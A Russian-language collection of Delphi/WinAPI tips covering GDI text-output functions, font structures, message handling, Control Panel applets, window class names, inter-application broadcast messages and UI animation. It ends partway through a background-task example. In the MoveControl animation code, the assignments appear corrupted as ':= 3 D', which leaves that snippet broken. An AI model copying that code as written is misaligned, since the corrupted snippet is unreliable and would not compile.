Вывод текста является одной из основных задач, которую приходится решать в программе при организации вывода данных. Речь пойдет о выводе текста с использованием Windows API функций. Данная статья, безусловно не претендует на полноту обзора этой тематики, но о некоторых "подводных камнях" я все же расскажу. Функции, которые позволяют это выполнять, весьма разнообразны, и использовать их, как Вы уже поняли, можно в разных ситуациях и случаях, и собственно говоря, именно Вам и решать, какие использовать. Кроме функций, которые непосредственно выводят текст, также существует внушительный список "подсобных" функций. Давайте глянем на tCanvas. В этом классе реализовано только две функции TextOut и TextRect. Когда задача стоит просто в выводе текста на цветном фоне (например, combo box цветов), то функций этого класса предостаточно, и в большинстве случаев я ими и пользуюсь. Но давайте заглянем за ширму. Функция TextOut использует одноименную функцию Windows, а TextRect использует функцию ExtTextOut, т.е. если на прямую вызывать функции Windows, можно получить тот же результат. Кроме того, в этих функциях есть передаваемые параметры, которые класс прячет, использование которых в определенных ситуациях не может быть не нужным и полезным. Формат функций я буду приводить из модуля windows.pas поставляемый с Delphi 3.function TextOut(DC: HDC; X, Y: Integer; Str: PChar; Count: Integer): BOOL;Справочную информацию о передаваемых параметрах Вы сможете посмотреть в файле справки, но давайте я первый раз все же расскажу. Все GDI функции вывода имеют параметр DC - контекст устройства, на который нужно нарисовать. Естественно, Canvas подставляет туда Canvas.Handle. Если Вы хотите нарисовать на чем-то другом, то должны самостоятельно получить контекст устройства функциями, типа GetDC. Не забывайте (!) освобождать ресурсы функцией ReleaseDC. X, Y - привязочные координаты, относительно которых происходит прорисовка. По умолчанию, привязка выполнена к левому верхнему углу. Я конечно немного не правильно выразился - в Windows принято понятие "выравнивание", а не "привязка". Оно настраивается через функцию SetTextAlign, но о ней чуть позже. Str - переменная, которая содержит выводимый текст, а Count - длина этого текста. В качестве переменной Str можно использовать переменную, типа array [0..n] of Chat; можно передавать просто текст: 'Пример текста'. Если текст находится у Вас в переменной типа string то нужно произвести приведение типов: PChar(VarString).
function ExtTextOut(DC: HDC; X, Y: Integer; Options: Longint; Rect: PRect; Str: PChar; Count: Longint; Dx: PInteger): BOOL;Как видно уже с самого названия и предаваемых параметров, функция имеет гораздо больше возможностей, нежели предыдущая. Прежде всего, текст выводится в прямоугольнике, т.е. как бы сперва выводится прямоугольник, а затем в нем текст, но гораздо быстрее, чем это производилось бы двумя функциями. Если значение Options будет содержать ETO_CLIPPED, то текст будет виден только в указанном прямоугольнике. Заметьте, что в функцию передается PRect. Это означает, что параметр может быть пустым, т.е. nil. В этом случае, функция будет работать аналогично TextOut. Если вы используете переменную r:tRect, то в функцию должны передать @r. Выравнивание также, устанавливается предварительно при помощи SetTextAlign. Наиболее интересен параметр DX. Это ссылка на массив, типа array [0..n] of integer, где каждый элемент является шириной символа. Настоящая ширина может отличатся от указанного значения. Это можно использовать, например, для имитации моноширного шрифта, или для сжатия текста таким образом, чтоб он помещался в отводимую область.
function DrawText(hDC: HDC; lpString: PChar; nCount: Integer; var lpRect: TRect; uFormat: UINT): Integer;В отличии от предыдущих функций, функция DrawText не имеет параметров X, Y и использует для руководства координат параметр lpRect. Заметим, что этот параметр является переменной, т.к. функция может модифицировать значения, если ее вызвать с параметром uFormat равным DT_CALCRECT, при этом прорисовка не будет осуществлятся. Параметр uFormat может включать в себя все значения выравнивания по этому предварительной глобальной настройки при помощи SetTextAlign не требуется. По умолчанию текст, который не вместится в lpRect будет обрезаться. Чтобы этого не происходило, в параметре uFormat используйте DT_NOCLIP. Используйте DT_WORDBREAK, если необходимо отобразить текст в несколько строк. Без этого параметра, даже если в строке есть символ #13 (перевод строки), все равно текст будет выводится в одну строку. При использовании значения DT_CALCRECT и DT_WORDBREAK изменятся будет lpRect.bottom, без DT_WORDBREAK - lpRect.right. По-прежнему есть проблема с вертикальным выравниванием по центру (DT_VCENTER). Оно работает только для однострочного текста, т.е. для многострочного текста сперва придется вычислить lpRect, а затем изменив lpRect.top и lpRect.bottom, добиться желаемого результата. Используйте DT_WORD_ELLIPSIS и (или) DT_PATH_ELLIPSIS если необходимо вывести длинный текст, который не помещается в одну строку. Выглядит это примерно так: надо вывести "C:\Program Files\Borland\Delphi3\Source\VCL", а выведется "C:\Program Files\...\VCL". В этом случае, значение DT_MODIFYSTRING обязательно. DT_NOPREFIX позволяет выводить "&", а не подчерк под следующим по тексту символом. Без этого значение в строке придется записывать "&&".
function DrawTextEx(DC: HDC; lpchText: PChar; cchText: Integer; var p4: TRect; dwDTFormat: UINT; DTParams: PDrawTextParams): Integer;Оговорюсь, что практически все функции, в названиях которых есть окончание "Ex", являются расширением одноименных функций без "Ex". В файле справки упоминается, что функции без "Ex" являются "пережитками" Windows 3.1, по этому рекомендуют использовать расширенные функции. По моему личному опыту могу судить, что разницы никакой, если Вам не нужны дополнительные параметры, и хлопоты по их заполнению :). В данном случае добавился дополнительный параметр DTParams. При помощи него можно задать левый, правый отступ текста, величину табуляции, а также получить число символов или строк, которые не поместились в отведенный прямоугольник.
function TabbedTextOut(hDC: HDC; X, Y: Integer; lpString: PChar; nCount, nTabPositions: Integer; var lpnTabStopPositions; nTabOrigin: Integer): Longint;Имя функции говорит само за себя - выводится текст с использованием фиксированной табуляции. В качестве lpnTabStopPositions нужно передать переменную типа array [0.. nTabPositions-1] of integer. Параметр nTabOrigin содержит х-координату начала для табуляции. Если в тексте встречается символ табуляции #9, то дальнейший вывод начинается с указанной в lpnTabStopPositions позиции. Горизонтальное выравнивание не влияет на результат вывода.
function PolyTextOut(DC: HDC; const PolyTextArray; Strings: Integer): BOOL;Вывод многострочного текста. В качестве параметра PolyTextArray нужно передавать переменную типа array [0.. Strings-1] of TPolyText. Структура TPolyText содержит все те же параметры, которые передаются функции ExtTextOut. Под Windows 95/98 не поддерживается. Примечание: Кстати, советую всегда, перед начало освоения нового "камня преткновения" обращать на этот пункт. Лично у меня был случай, когда пишешь, пишешь, приносишь клиенту - не работает. Почему?! Читаешь MSDN: "Windows 95/98: Unsupported". Должен огорчить всех любителей "красоты" - в Windows нет стандартной поддержки выравнивания текста по ширине. Теперь, думаю понятно, почему даже в tRichEdit нет этого. Теперь немного о "подсобных" функциях, вызов которых влияет на результат вывода текста. Об одной из них упоминал выше - SetTextAlign.
function SetTextAlign(DC: HDC; Flags: UINT): UINT;Не пугайтесь по поводу типа UINT - это обычный тип Integer. Параметр Flags должен указывать выравнивание текста как по вертикали, так и по горизонтали (TA_NOUPDATECP, TA_UPDATECP, TA_LEFT, TA_RIGHT, TA_CENTER, TA_TOP, TA_BOTTOM, TA_BASELINE). Хочу отметить два момента. Во-первых, если горизонтальное выравнивание может быть TA_CENTER, то по вертикали такого нет, и при необходимости такой реализации Вам придется соответствующим образом задавать параметр Y. Во-вторых, использование TA_UPDATECP и TA_NOUPDATECP приводит к тому, что текущая координата после вывода текста будет или не будет изменятся.
function SetTextColor(DC: HDC; Color: COLORREF): COLORREF;Задает цвет тексту. Здесь COLORREF обычный DWORD. Я зачастую в качестве этого параметра передаю функцию RGB(r, g, b: byte) или CMYK(c, m, y, k: Byte) - это разные цветовые модели.
function SetTextCharacterExtra(DC: HDC; CharExtra: Integer): Integer;Задает смещение каждого символа в строке относительно той точки, в которой он, должен рисоваться, т.е. если CharExtra = 1 то второй символ смещается в право на 1 пиксель, второй на 2 и т.д. Может быть отрицательным, тогда символы "налезут" друг на друга. При этом искажения начертания нет.
function SetTextJustification(DC: HDC; BreakExtra, BreakCount: Integer): Integer;Удлиняет или укорачивает выводимый текст на величину BreakExtra за счет изменения длины пробелов. Количество пробелов в строке указывается в BreakCount. Ну и на последок пожалуй одна из самых основных функций, предназначенная для задания большинства параметров, это:
function CreateFontIndirect(const p1: TLogFont): HFONT;Результат создания передается в SelectObject, а после использования желательно удалить вызвав DeleteObject. Структура TLogFont описана так:
TLogFont = record lfHeight: Longint; lfWidth: Longint; lfEscapement: Longint; lfOrientation: Longint; lfWeight: Longint; lfItalic: Byte; lfUnderline: Byte; lfStrikeOut: Byte; lfCharSet: Byte; lfOutPrecision: Byte; lfClipPrecision: Byte; lfQuality: Byte; lfPitchAndFamily: Byte; lfFaceName: array[0..LF_FACESIZE - 1] of AnsiChar; end;Впечатляет, правда? И так, по каждой составляющей: lfHeight - высота шрифта, то бишь, размер. Всегда задается в точках и ни каких там поинтов. Для перевода из поинтов используйте рекомендуемую во всех хелпах формулу: lfHeight - MulDiv(PointSize, GetDeviceCaps(hDC, LOGPIXELSY), 72); lfWidth - коэффициент сжатия по горизонтали. Значения 0 и 100 ни к чему не приводят. Меньше 100 ужимают всю строку искажая начертание, больше 100 - растягивает. При выводе на экран наблюдается дискретность равная 10, т.е. к примеру, 53 и 50 дают одинаковый результат. lfEscapement - угол поворота всей строки в десятых градуса против часовой стрелки. lfOrientation - угол поворота отдельных символов в строке в десятых градуса против часовой стрелки. lfWeight - плотность шрифта. Задается в диапазоне 0..1000. Я проверял - работает только 400 как обычный и 700 как жирный. lfItalic, lfUnderline, lfStrikeOut - ненулевое значение задает соответственно курсив, подчеркивание, перечеркивание. lfCharSet - набор символов. Чтобы не читать иероглифы, задайте как RUSSIAN_CHARSET. lfOutPrecision - точность вывода. Рекомендуют задавать OUT_TT_ONLY_PRECIS lfClipPrecision - точность отсечения символов. Рекомендуют задавать CLIP_DEFAULT_PRECIS. lfQuality - качество вывода шрифта. Ставьте PROOF_QUALITY - не помешает. Ну а про использование ANTIALIASED_QUALITY Вы в курсе - работает только начиная с Win98. lfPitchAndFamily - в двух младших разрядах указывается тип шрифта, а в четырех старших - семейство. Этот параметр можно не задавать, если указать имя существующего шрифта. lfFaceName - имя шрифта. Остальные функции, предназначены для получения различной информации о шрифтах, размерах и т.п. (GetTextExtentPoint, EnumFontFamiliesEx, GetFontData, GetCharABCWidths, GetCharWidthFloat и т.д.), но это уже другая тема.
Как использовать WinAPI.
Автор: Fantasist WEB-сайт: http://forum.vingrad.ru WinAPI - это те функции которыми управляется работа приложений в Windows. Они являются частью системы, и подгружаются вместе с виндос в библиотеке kernel32.dll. В Делфи эти функции приемущественно описанны в библиотеке Windows, которая автоматически включается в ваш новый проект. Вы можете открыть эту библиотеку и посмотреть сами. Большая часть VCL - это надстройка над WinAPI. Для каждого запущенного приложения создается процесс и в этом процессе основной поток (приложение может создавать свои дополнитльные потоки - все они будут принадлежать его процессу), а уж потоки создают окна. Каждый поток имеет уникальный числовой индификатор называемый ThreadID. Это просто целое число которое дается (ассоциируется) этому потоку. Точно так же имеет свой уникальный индификатор каждое окно в системе, называемый Handle. Он обозначается обычно типом HWND, но это просто целое. 4-х байтное.В виндосе взаимодействие построено на сообщениях. Сообщени - это небольшой набор данных (record, условно говоря), который содержит:
Handle - Handle окна, которому сообщение предназначается. Message - целое число, которое указывает, что же это за сообщение. Для системных сообщений определены константы типа WM_KEYPRESSED, WM_MOUSEMOVE и т. д. Их значение(числовое) совершенно никого не интересует однако его легко узнать: ShowMessage('WM_MOUSEMOVE: '+IntToStr(WM_MOUSEMOVE)); wParam - целое, значение зависит от сообщения lParaw - целое, значение зависит от сообщения. Для каждого потока отводиться специальное место в памяти, куда складываются сообщение по мере из поступления - называется это очередью сообщений. Сами окна сообщения не получают - все они складываются в очередь потока. Чтобы достать следующее сообщение, используется функция GetMessage(PeekMessage). Если вы хотите доставить сообщение окну, то проще всего это сделать вызвав DispatchMessage передав в качестве параметра полученное сообшение. Эта функция находит нужное окно в вашем потоке, и вызывает WindowsProc - процедура окна, которое должна обработать это сообщение. Адрес этой процедуры (для каждого окна свой) известен системе - он передается ей во время регистрации окна.Пракически каждое приложение осуществляет цикл обработки сообщений. То есть цикл, который вызывает GetMessage и обрабатывает сообщение (рассылает окнам), пока не попадется сообщение WM_QUIT, после чего приложение должно завершить работу. В Delphi этот цикл представлен в методе Application.Run.
Как добавить копию текущей записи.
procedure AppendCurrent(Dataset:Tdataset);
var
aField: Variant ;
i: Integer ;
begin
// Создаём массив
aField := VarArrayCreate([0,DataSet.Fieldcount-1],VarVariant);
// считываем значения в массив
for i := 0 to (DataSet.Fieldcount-1) do
aField[i] := DataSet.fields[i].Value ;
DataSet.Append ;
// помещаем значения массива в новую запись
for i := 0 to (DataSet.Fieldcount-1) do
DataSet.fields[i].Value := aField[i] ;
end;
|
Свои апплеты в панели управления.
Автор: http://www.sources.ru Апплеты в панели управления, это обычные DLL, имеющие расширение .cpl (Control Panel Library) и располагающиеся в системной директории Windows. В свою очередь, в каждом файле cpl может храниться несколько апплетов. Cpl имеет единственную функцию точки входа CPlApplet(), через которую поступают все сообщения от панели управления.Давайте рассмотрим сообщения, с которыми панель управления вызывает функцию CPlApplet():
CPL_INIT - сообщение, которым CPlApplet() вызывается первый раз (инициализация). Возвращаем TRUE для продолжения процесса загрузки. CPL_GETCOUNT - этим сообщением панель управления запрашивает количество поддерживаемых апплетов в файле cpl. CPL_INQUIRE - панель управления запрашивает информацию о каждом апплете, хранящемся в файле cpl. При этом, параметр lParam1 будет содержать номер апплета, о котором панель управления хочет получить информацию, lParam2 будет указывать на структуру TCplInfo. Поле idIcon в структуре TClpInfo должно содержать идентификатор (id) ресурса иконки, которая будет отображаться в панели управления, а поля idName и idInfo должны содержать идентификаторы строковых ресурсов для имени и описания. lData может содержать данные, которые будут использоваться апплетом. CPL_SELECT - это сообщение посылается апплету, если его иконка была выбрана пользователем. При этом lParam1 содержит номер выбранного апплета, а lParam2 содержит значение lData, определённое для данного апплета. CPL_DBLCLK - это сообщение будет послано, если по иконке апплета сделать двойной щелчёк. lParam1 будет содержать номер апплета, а lParam2 будет содержать значение lData, определённое для данного апплета. При поступление это сообщения апплет должен как-то показать себя, в частности отобразить своё диалоговое окно. CPL_STOP - Посылается каждому апплету, когда панель управления закрывается. lParam1 содержит номер апплета, а lParam2 содержит значение lData, определённое для данного апплета. CPL_EXIT - Посылается перед тем, как панель управления вызовет FreeLibrary. CPL_NEWINQUIRE - тоже, что и CPL_INQUIRE за исключением того, что lParam2 указывает на структуру NEWCPLINFO. Итак, приступим. Для начала необходимо создать файл ресурсов, содержащий таблицу строк для имени и описания Вашего апплета(ов), а также иконки для каждого апплета (если у Вас их будет несколько).Пример .rc файла содержит таблицу строк, состоящую из двух строк, и указатель на файл с иконкой:
STRINGTABLE
{
1, "TestApplet"
2, "My Test Applet"
}
2 ICON C:\SOMEPATH\CHIP.ICO
Чтобы преобразовать файл .rc в .res, (который можно будет спокойно прилинковать к Вашему приложению) достаточно просто указать в командной строке полный путь до компилятора ресурсов и полный путь до файла .rc:
c:\Delphi\Bin\brcc32.exe c:\Delphi\MyRes.rcПосле того, как компиляция будет завершена, то Вы получите новый файл, с таким же именем, что и .rc, только с расширением ".res". Следующий пример, это апплет панели управления, который в ответ на сообщение CPL_DBLCLK запускает блокнот. Код можно легко изменить, чтобы отображалась форма или диалоговое окошко. Этот код можно компилировать как под платформу Win32, так и под Win16.
Чтобы скомпилировать проект, необходимо из вышеприведённого файла .rc создать два: TCPL32.RES и TCPL16.RES.
library TestCpl;
{$IFDEF WIN32}
uses
SysUtils,
Windows,
Messages;
{$ELSE}
uses
SysUtils,
WinTypes,
WinProcs,
Messages;
{$ENDIF}
{$IFDEF WIN32}
{$R TCPL32.RES}
{$ELSE}
{$R TCPL16.RES}
{$ENDIF}
const
NUM_APPLETS = 1;
{$IFDEF WIN32}
const
CPL_DYNAMIC_RES = 0;
{$ENDIF}
const
CPL_INIT = 1;
const
CPL_GETCOUNT = 2;
const
CPL_INQUIRE = 3;
const
CPL_SELECT = 4;
const
CPL_DBLCLK = 5;
const
CPL_STOP = 6;
const
CPL_EXIT = 7;
const
CPL_NEWINQUIRE = 8;
{$IFDEF WIN32}
const
CPL_STARTWPARMS = 9;
{$ENDIF}
const
CPL_SETUP = 200;
{$IFNDEF WIN32}
type
DWORD = LongInt;
{$ENDIF}
type
TCplInfo = record
idIcon: integer;
idName: integer;
idInfo: integer;
lData: LongInt;
end;
PCplInfo = ^TCplInfo;
type
TNewCplInfoA = record
dwSize: DWORD;
dwFlags: DWORD;
dwHelpContext: DWORD;
lData: LongInt;
IconH: HIcon;
szName: array[0..31] of char;
szInfo: array[0..63] of char;
szHelpFile: array[0..127] of char;
end;
PNewCplInfoA = ^TNewCplInfoA;
{$IFDEF WIN32}
type
TNewCplInfoW = record
dwSize: DWORD;
dwFlags: DWORD;
dwHelpContext: DWORD;
lData: LongInt;
IconH: HIcon;
szName: array[0..31] of WChar;
szInfo: array[0..63] of WChar;
szHelpFile: array[0..127] of WChar;
end;
PNewCplInfoW = ^TNewCplInfoW;
{$ENDIF}
type
TNewCplInfo = TNewCplInfoA;
type
PNewCplInfo = ^TNewCplInfoA;
function CPlApplet(hWndCPL: hWnd;
iMEssage: integer;
lParam1: longint;
lParam2: longint): LongInt
{$IFDEF WIN32} stdcall;
{$ELSE}; export;
{$ENDIF}
begin
case iMessage of
CPL_INIT:
begin
Result := 1;
exit;
end;
CPL_GetCount:
begin
Result := NUM_APPLETS;
exit;
end;
CPL_Inquire:
begin
PCplInfo(lParam2)^.idIcon := 2;
PCplInfo(lParam2)^.idName := 1;
PCplInfo(lParam2)^.idInfo := 2;
PCplInfo(lParam2)^.lData := 0;
Result := 1;
exit;
end;
CPL_NewInquire:
begin
PNewCplInfo(lParam2)^.dwSize := sizeof(TNewCplInfo);
PNewCplInfo(lParam2)^.dwHelpContext := 0;
PNewCplInfo(lParam2)^.lData := 0;
PNewCplInfo(lParam2)^.IconH := LoadIcon(hInstance,
MakeIntResource(2));
lStrCpy(@PNewCplInfo(lParam2)^.szName, 'TestCPL');
lStrCpy(PNewCplInfo(lParam2)^.szInfo, 'My Test CPL');
PNewCplInfo(lParam2)^.szHelpFile[0] := #0;
Result := 1;
exit;
end;
CPL_SELECT:
begin
Result := 0;
exit;
end;
CPL_DBLCLK:
begin
WinExec('Notepad.exe', SW_SHOWNORMAL);
Result := 1;
exit;
end;
CPL_STOP:
begin
Result := 0;
exit;
end;
CPL_EXIT:
begin
Result := 0;
exit;
end
else
begin
Result := 0;
exit;
end;
end;
end;
exports CPlApplet name 'CPlApplet';
begin
end.
Application.Initialize.
Автор: Anders Hejlsberg Метод Application.Initialize выполняет соответствующие задачи инициализации OLE Automation, например, регистрацию или "отрегистрацию" классов OLE Automation в системных регистрах, или завершение приложения, если оно было запущено с единственной целью - регистрацией. По своей сути, если приложение не является OLE Automation сервером, то такой вызов будет являться пустым оператором, и, если вы не создаете OLE Automation сервер, то можно спокойно удалить строку "Application.Initialize;" из исходного кода вашего проекта. Следовательно, если вы не добавляете функциональность OLE Automation сервера к 16-битному проекту, то при перекомпиляции старых проектов нет необходимости добавлять данный вызов. Тут может помочь директива компилятора $IFDEF WIN32?Да, вы можете сделать так:
{$IFDEF WIN32}
Application.Initialize; {$ENDIF}
|
Классы главных форм популярных программ.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
Every window is a member of a window class. When you use API functions suchs as FindWindow, ShowWindow,..., you need the classname as parameter to specify the window class name. Below are some class names of common applications that are included in Windows. Class Name Application Omain ACCESS.EXE SciCalc CALC.EXE CalWndMain CALENDAR.EXE Cardfile CARDFILE.EXE Clipboard CLIPBOARD.EXE Clock CLOCK.EXE CtlPanelClass CONTROL.EXE XLMain EXCEL.EXE Session MS-DOS.EXE Notepad NOTEPAD.EXE pbParent PBRUSH.EXE Pif PIFEDIT.EXE PrintManager PRINTMAN.EXE Progman PROGMAN.EXE (Windows Program Manager) Recorder RECORDER.EXE Reversi REVERSI.EXE #2 SETUP.EXE Solitaire SOL.EXE Terminal TERMINAL.EXE WFS_Frame WINFILE.EXE MW_WINHELP WINHELP.EXE #2 WINVER.EXE OpusApp WINWORD.EXE MSWRITE_MENU WRITE.EXE Below are some class names of applications that are new with Windows 95: Class Name Application -------------------------- -------------------------- CabinetWClass My Computer Window Internet Explorer_Frame IEXPLORE.EXE MSPaintApp MSPAINT.EXE SageWindowClass System Agent Com Window Shell_Traywnd Windows 95 Task Bar WordPadClass WORDPAD.EXE DialerClass DIALER.EXE SJE_CDPlayerClass CDPLAYER.EXE MyDlgClass CHARMAP.EXE MSDefragWClass1 DEFRAG.EXE GFVMainWndClass FAXVIEW.EXE FreeWClass FREECELL.EXE Mplayer MPLAYER.EXE AfxFrameorView HEARTS.EXE NW_Class NETWATCH.EXE AppClass PACKAGER.EXE System Policy Editor POLEDIT.EXE PWLEdit PWLEDIT.EXE RegEdit_RegEdit REGEDIT.EXE ScanDskWDlgClass SCANDSK.EXE SoundRec SNDREC32.EXE Volume Control SNDVOL32.EXE System Monitor SYSMON.EXE MSTaskSwWClass TASKMAN.EXE TelnetWClass TELNET.EXE WinIPCfgClass WINIPCFG.EXE WordPadClass WORDPAD.EXE Session_Window HYPERTRM.EXEСвязь между приложениями.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
You can perform communication between your application using Windows messages
exchange mechanism. We can use HWND_BROADCAST value for first parameter for
SendMessage function for suppressing finding of forms' in other applications HANDLE.
For using HWND_BROADCAST we should register our messages in Windows.
In example below we will inform about our form's top position)
Das Beispiel zeigt, wie zwischen zwei Applikationen eine Meldung (Message)
verschickt werden kann. Die Meldung mit wird mit SendMessage verschickt.
Der erst Parameter ist HWND_BROADCAST, beim zweite ist unsere Message.
Das untenstehende Beispiel informiert z.B uber die Top-Position unserer Form}
// 1. Define type of your message structure, it could be something like this:
// 1. Definiere eine eigene Message Struktur:
type
TWMMYMessage = record
Msg: Cardinal; // ( first is the message ID )
Handle: HWND; // ( this is the wParam, Handle of sender)
Info: Longint; // ( this is lParam, pointer to our data)
Result: Longint;
end;
// 2. Override your form''s DefaultHandler method and add
// method for handling your message, like this
// 2. Die DefaultHandler Methode zu uberschreiben
TForm1 = class(TForm)
...public
{ Public declarations }
...procedure DefaultHandler(var Message); override;
procedure WMMYMessage(var Msg: TWMMYMessage);
...end;
// 3. Declare message variable:
// 3. Die Message-Variablen deklarieren:
var
WM_OURMESSAGE: DWORD;
// 4. Insert realisation of DefaultHandler and our message handler methods:
// 4. DefaultHandler Implementation:
procedure TForm1.DefaultHandler(var Message);
var
ee: TWMMYMessage;
begin
with TMessage(Message) do
begin
if (Msg = WM_OURMESSAGE) then
begin
ee.Msg := Msg;
ee.Handle := wParam;
ee.Info := lParam;
// Checking if this message is not from us
if ee.Handle <> Handle then
WMMYMessage(ee);
end
else
inherited DefaultHandler(Message);
end;
end;
procedure TForm1.WMMYMessage(var Msg: TWMMYMessage);
begin
label1.Caption := Format('Our another form handle :%d', [Msg.Handle]);
Label2.Caption := Format('Our another form top :%d', [Msg.Info]);
end;
// 5. Add registration of your message that you could
// handle the HWND_BROADCAST messages:
// 5. Die Message registrieren.
initialization
WM_OURMESSAGE := RegisterWindowMessage('Our broadcast message');
// 6. Add the message sending somewhere:
procedure TForm1.Button1Click(Sender: TObject);
begin
SendMessage(HWND_BROADCAST, WM_OURMESSAGE, Handle, Top);
end;
Как написать приложение, адекватно отображающееся на экранах с различным разрешением монитора.
| Существует ровно один интуитивно понятный интерфейс - соска. Остальные осваиваются путем обучения. |
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
// Отлавливаем, сообщение о изменении разрешения экрана
procedure WMDisplayChange(var message: TMessage); message WM_DISPLAYCHANGE;
public
{ Public declarations }
W, H: integer;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
Width := Round(Width * 1.5);
Height := Round(Height * 1.5);
ScaleBy(150, 100)
end;
procedure TForm1.WMDisplayChange(var message: TMessage);
begin
inherited;
Width := Round(Width * LOWORD(message.LParam) / W);
Height := Round(Height * HIWORD(message.LParam) / H);
ScaleBy(LOWORD(message.LParam), W);
W := Screen.Width;
H := Screen.Height;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
W := Screen.Width;
H := Screen.Height;
end;
end.
|
Анимируйте ваше приложение.
Оформил: DeeCo
Автор: Пер. Руденко Е.В.
Когда неделю назад я подумал сделать свое приложение более "живым", то решил создать процедуру , которая бы анимировала средства управления. Это оказалось более трудным делом, чем я предполагал. Итак, нижеприведенный код - это результат почти недели "тяжелой" работы. Вероятно много можно сделать для увеличения функциональности и повышения скорости данной программы. Часть кода для данной процедуры я подчерпнул в статье на сайте Delphi3000.com. Небольшое описание используемых параметров: Control: В качестве этой переменной используется любой компонент - наследник класса TControl . Если компонент не является наследником TControl, но имеет свойства Left и Top , все равно поместите его на месте TControl. Поскольку процедура обращается только к Свойствам Top и Left , то это сработает OK. Dest: Величина типа TPoint , которая показывает , где остановится Control (на текущей форме) после анимации. PixPTick: Pixels Per Tick. Любая величина (рекомендуется 2-4) от 0 и выше. Она не изменяет положение Control точно на каждый шаг (tick). Чем выше эта величина , тем быстрее движение.
procedure MoveControl(var Control: TControl; Dest: TPoint; PixPTick: Integer);
var
StartTick, OldTick, CurTick, TickDif: Cardinal;
Steps: Integer;
begin
StartTick := 3 D GetTickCount;
CurTick := 3 D StartTick;
Steps := 3 D 0;
// Переводит Control в соответствии с Dest.y и PixPTick
if Control.Top <> Dest.y then // Проводит необходимые вычисления
if Control.Top < Dest.y then
while (Control.Top <> 0) and (Dest.y <> 0) and // Устраняет деление на 0
// Проверка на необходимость дальнейшей регулировки
((Dest.y - Control.Top) mod PixPTick <> 0) do
Control.Top := 3 D Control.Top - 1
else
while (Control.Top <> 0) and (Dest.y <> 0) and // Устраняет деление на 0
// Проверка на необходимость дальнейшей регулировки
((Control.Top - Dest.y) mod PixPTick <> 0) do
Control.Top := 3 D Control.Top + 1;
// Переводит Control в соответствии с Dest.x и PixPTick
if Control.Left <> Dest.x then // Проводит необходимые вычисления
if Control.Left < Dest.x then
while (Control.Left <> 0) and (Dest.x <> 0) and // Устраняет деление на 0
// Проверка на необходимость дальнейшей регулировки
((Dest.x - Control.Left) mod PixPTick <> 0) do
Control.Left := 3 D Control.Left - 1
else
while (Control.Left <> 0) and (Dest.x <> 0) and // Устраняет деление на 0
// Проверка на необходимость дальнейшей регулировки
((Control.Left - Dest.x) mod PixPTick <> 0) do
Control.Left := 3 D Control.Left + 1;
repeat
Application.ProcessMessages; // Реакция приложения на ввод пользователя
OldTick := 3 D CurTick; // Время последнего фрейма
CurTick := 3 D GetTickCount; // Текущее время
TickDif := 3 D CurTick - OldTick; // Разница во времени
// По крайней мере 1 миллисекунда прошла с момента показа последнего фрейма
if TickDif > 0 then
begin
Inc(Steps);
if Control.Left > Dest.x then
Control.Left := 3 D Control.Left - PixPTick
else if Control.Left < Dest.x then
Control.Left := 3 D Control.Left + PixPTick;
if (Control.Top > Dest.y) then
Control.Top := 3 D Control.Top - PixPTick
else if (Control.Top < Dest.y) then
Control.Top := 3 D Control.Top + PixPTick;
end;
// Если прошло больше 150 шагов (что маловероятно), движение
// остановится, чтобы не войти в бесконечный цикл. Измените данную величину
// в соответствии с вашими требованиями, или удалите ее.
until ((Control.Left = 3 D Dest.x) and (Control.Top = 3 D Dest.y)) or (Steps >
150);
end;
Анимированная иконка приложения.
Увидев анимацию на форме, мы не удивимся, но сейчас нам предстоит освоить более сложную технологию: мы попытаемся анимировать иконку приложения, ту самую, которая находится на панели задач на кнопке нашего exe-файла!
Сначала нужно будет создать каждый кадр потенциального анимационного клипа. Для этого запустим утилиту "Image Editor", которая в ходит в стандартный пакет Delphi. Запустить её можно одноимённой командой из меню Tools[инструменты]. Там создаём несколько bmp-файлов размером 16х16.
После чего возвращаемся в Delphi и выносим на форму компонент класса TImageList, дважды щёлкаем на нём и с помощью кнопки Add последовательно добавляем созданные кадры. В каком порядке изображения будут добавляться, в таком же порядке они затем будут выводится.
Далее выносим таймер[Timer], его свойство Interval устанавливаем в нужное значение[например - 5], и именно через заданное здесь количество миллисекунд будут меняться кадры. По событию OnTimer пишем такой код:
ImageList1.GetIcon(iconindex, Application.Icon); iconindex := iconindex + 1; if iconindex > 5 then iconindex := 0; |
В строке [if iconindex>5 then iconindex:=0;] число 5 замените на индекс последней иконки в вашем ImageList'e[это количество иконок -1].
Не забудьте объявить глобальную переменную iconindex, которая должна быть целочисленного типа[integer].
А по созданию окна инициализируйте иконку приложения первым изображением в списке.
iconindex := 0; ImageList1.GetIcon(iconindex, Application.Icon); |
Посмотрите на иконку программы ACDSee, которая показана в левом верхнем углу. На ней изображён глаз. По-моему, было бы довольно эффектно, если бы время от времени он подмигивал пользователю!
Работа в фоне.
Я пишу программу в Delphi, которая каждый час должна проверять размер файла. Это также предполагает, что в случае неактивности приложения оно должно работать сторожевым псом в фоновом режиме win 95 и NT. Как мне сделать это...?? Вот некоторый исходный код, который должен делать то, что вы хотите. Я его только что создал и еще не успел проверить, но что-то подобное я уже делал, так что это должно работать. Код допускает одно предположение, о котором вы должны отдавать себе отчет. Оно заключается в том, что приложение должно запускатьтся одновременно с Windows (может быть из группы автозапуска), так как код использует GetTickCount, возвращающий в миллисекундах время с момента старта системы, это необходимо для ежечасной инициализац ии кода выполнения задачи. По-моему это то, что вам нужно. Величина, возвращаемая GetTickCount имеет тип DWORD, но Delphi ее хранит как LongInt, поэтому большие значения могут иметь отрицательную величину (после примерно 25 дней). Данный эффект в алгоритм е проверки наступления часа неопределен (я действительно не считал это). Аналогично, значение будет повторяться в цикле каждые 49.7 дней и может появиться другой эффект, когда раз в 49.7 дней в одном реальном часе алгоритм сработает дважды. Надеюсь это ни как не скажется на вашей задаче. Во всяком случае разве это не то, что вы хотели? Успехов!
program Project1;
uses Messages, Windows;
{$R *.RES}
function KeepRunning: Boolean;
var
Msg: TMsg;
begin
Result := True;
while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do
begin
if (Msg.Message = WM_QUIT) then
